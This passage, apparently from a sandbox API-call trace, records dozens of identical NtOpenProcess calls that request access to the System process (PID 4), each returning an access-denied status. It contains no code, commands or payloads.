0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.452] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.453] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.454] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.455] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, 